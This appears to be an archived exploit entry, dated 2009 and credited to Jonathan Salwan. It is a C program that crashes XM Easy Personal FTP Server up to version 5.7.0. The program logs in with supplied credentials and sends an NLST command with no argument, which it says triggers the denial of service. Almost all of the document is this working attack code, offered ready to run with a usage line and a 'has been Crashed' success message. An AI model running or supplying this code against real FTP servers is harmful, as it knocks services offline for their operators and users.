XM Easy Personal FTP Server 5.7.0 - 'NLST' Denial of Service

/*
XM Easy Personnal FTP Server <= 5.7.0
Remote Denial of Service with Request (NLST)

---------------------------------------------------------------------------------------------------------
The vulnerability is caused due to an error in handling the NLST command. This can be exploited to crash 
the FTP service by sending the "NLST" with NULL argument.
---------------------------------------------------------------------------------------------------------

Author: Jonathan Salwan
Mail  : submit [AT] shell-storm.org
Web   : http://www.shell-storm.org
*/

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"

int syntax(char *file)
	{
	fprintf(stderr,"XM Easy Personnal FTP Server <= 5.7.0\n");
	fprintf(stderr,"=>Syntax  : <%s> <ip> <port> <login> <passwd>\n",file);
	fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 password1\n",file); 
	exit(0);
	}

int main(int argc, char **argv)
{
	if (argc < 4)
		syntax(argv[0]);
	
	int port = atoi(argv[2]);

	int mysocket;
	int mysocket2;
	int srv_connect;
	int sockaddr_long;


		struct sockaddr_in sockaddr_mysocket;
		sockaddr_long = sizeof(sockaddr_mysocket);
		sockaddr_mysocket.sin_family = AF_INET;
		sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
		sockaddr_mysocket.sin_port = htons(port);

        char request[50];
	char answer[200];

        fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);

                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
                        if(mysocket2 == -1){
                        fprintf(stderr,"[-]FAILED SOCKET\n");
			return 1;}

	srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
		
	if (srv_connect != -1)
 		{	

                memset(answer,0,200);
	        recv(mysocket2,answer,sizeof(answer),0);

		sprintf(request, "USER %s\r\n", argv[3]);		
			if (send(mysocket2,request,strlen(request),0) == -1){
				fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
				shutdown(mysocket2,1);
				return 1;}
			else{
				memset(answer,0,200);
				recv(mysocket2,answer,sizeof(answer),0);
				}
		
		sprintf(request, "PASS %s\r\n", argv[4]);
		                if (send(mysocket2,request,strlen(request),0) == -1){
		                        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
		                        shutdown(mysocket2,1);
		                        return 1;}
		                else{ 
					memset(answer,0,200);
		                        recv(mysocket2,answer,sizeof(answer),0);
		                 }
                sprintf(request, "NLST\r\n");
                        if (send(mysocket2,request,strlen(request),0) == -1){
                                fprintf(stderr,"[-]Send Request NLST\t\t[FAILED]\n");
                                shutdown(mysocket2,1);
                                return 1;}
			
		}
	else{
		fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
		shutdown(mysocket2,1);
		return 1;}


	shutdown(mysocket2,1);


fprintf(stdout,"[+]Done! %s has been Crashed\n", argv[1]);
return 0;
}

// milw0rm.com [2009-03-27]